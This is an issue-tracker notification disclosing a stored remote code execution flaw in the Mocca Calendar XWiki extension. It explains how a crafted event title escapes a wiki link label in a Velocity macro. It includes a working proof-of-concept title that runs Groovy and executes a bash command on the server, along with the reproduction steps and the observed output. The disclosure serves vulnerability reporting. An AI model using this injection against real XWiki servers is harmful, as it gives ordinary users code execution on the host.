This issue has been created
 
 
Mocca Calendar Application / cid:jira-generated-image-avatar-bdf485f6-3d5d-4efe-ae3f-7f41d61996d2 MOCCACAL-178 Open

stored RCE via event title in upcoming events macro

 
View issue   ·   Add comment
 

Issue created

 
cid:jira-generated-image-avatar-385ac2e2-a020-47fc-8d00-dfd509ec1909 Clément Christiaens created this issue on 27/Jun/26 18:44
 
Summary: stored RCE via event title in upcoming events macro
Issue Type: cid:jira-generated-image-avatar-bdf485f6-3d5d-4efe-ae3f-7f41d61996d2 Bug
Assignee: Unassigned
Attachments: image-2026-06-27-18-42-47-514.png, image-2026-06-27-18-42-59-509.png
Created: 27/Jun/26 18:44
Priority: cid:jira-generated-image-static-critical-d5925511-48cf-43aa-923e-5809417702db Critical
Reporter: Clément Christiaens
Description:

Requirement

  • a standard account

Details

The macro body builds each event entry as a wiki link whose label is the raw event title:

{{velocity}}
...
#set ($events = $services.moccacalendar.queryEvents($startDate.toDate(), $endDate.toDate(), $wikiList, 1))
...
  [[$event.getTitle()>>$event.getEventDocRef()]]
...
{{/velocity}}

The link-label slot of [[label>>ref]] is inline-wiki-parsed by DefaultXWikiGeneratorListener; { is not entity-escaped there, so {{...}} in the label is parsed as a macro.
$event.getTitle() resolves to the event document getRenderedTitle(Syntax.PLAIN_1_0, context) (MoccaCalendarScriptService.completeEventData), and plain-text rendering preserves the literal ]]{{...}} sequence.

PoC

Gonna use the title :

]]{{async async="false" cached="false"}}{{groovy}}println("MOCCAP503_"+(181*191)+" uid="+["bash","-c","id -un"].execute().text.trim()){{/groovy}}{{/async}}

And for the date, current +10days.

  • create a page with the title above
  • add a MoccaCalendarEventClass object with dates in range
  • create a normal page that renders the macro
    {{moccacalendar.upcomingEvents limit="50"/}}

44984_image-2026-06-27-18-42-59-509.png
44985_image-2026-06-27-18-42-47-514.png

Refresh the page and you get RCE!

Observed:

MOCCAP503_34571 uid=xwiki>>xwiki:MoccaAtk.Evt]]

Impact

A standard user gets arbitrary code execution against the server.

Tested on XWiki 18.4.0 and mocca 2.19.1